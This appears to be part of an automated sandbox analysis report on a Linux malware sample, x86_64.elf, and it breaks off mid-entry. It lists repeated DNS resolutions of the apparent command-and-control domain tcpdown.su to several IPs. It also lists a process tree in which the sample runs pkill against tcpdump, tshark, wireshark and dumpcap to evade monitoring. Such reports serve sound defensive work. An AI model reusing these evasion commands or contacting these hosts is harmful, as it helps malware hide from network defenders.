Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.786636114 CET	1.1.1.1	192.168.2.23	0x2b0d	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.795737028 CET	1.1.1.1	192.168.2.23	0xfadd	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484294891 CET	1.1.1.1	192.168.2.23	0x97f0	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.491875887 CET	1.1.1.1	192.168.2.23	0xe112	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018060923 CET	1.1.1.1	192.168.2.23	0x854d	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.025820971 CET	1.1.1.1	192.168.2.23	0x1751	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.853753090 CET	1.1.1.1	192.168.2.23	0xc84c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.861376047 CET	1.1.1.1	192.168.2.23	0xcfdf	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.784393072 CET	1.1.1.1	192.168.2.23	0x242c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.792603970 CET	1.1.1.1	192.168.2.23	0xf320	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.640598059 CET	1.1.1.1	192.168.2.23	0xe298	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.649611950 CET	1.1.1.1	192.168.2.23	0xa178	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.177546978 CET	1.1.1.1	192.168.2.23	0x5e8a	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.185132980 CET	1.1.1.1	192.168.2.23	0x6190	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.712497950 CET	1.1.1.1	192.168.2.23	0x419c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.720184088 CET	1.1.1.1	192.168.2.23	0xae45	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545226097 CET	1.1.1.1	192.168.2.23	0xb6ac	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.553334951 CET	1.1.1.1	192.168.2.23	0x8a09	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.399308920 CET	1.1.1.1	192.168.2.23	0xcf2a	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.407284975 CET	1.1.1.1	192.168.2.23	0x6937	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223201990 CET	1.1.1.1	192.168.2.23	0x9b8e	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.230737925 CET	1.1.1.1	192.168.2.23	0xe085	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: x86_64.elf PID: 6223, Parent PID: 6146

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	/tmp/x86_64.elf
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6246, Parent PID: 6223

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6247, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6247, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill tcpdump
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6248, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6248, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill tshark
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6249, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6249, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill wireshark
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6250, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6250, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill dumpcap
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6251, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
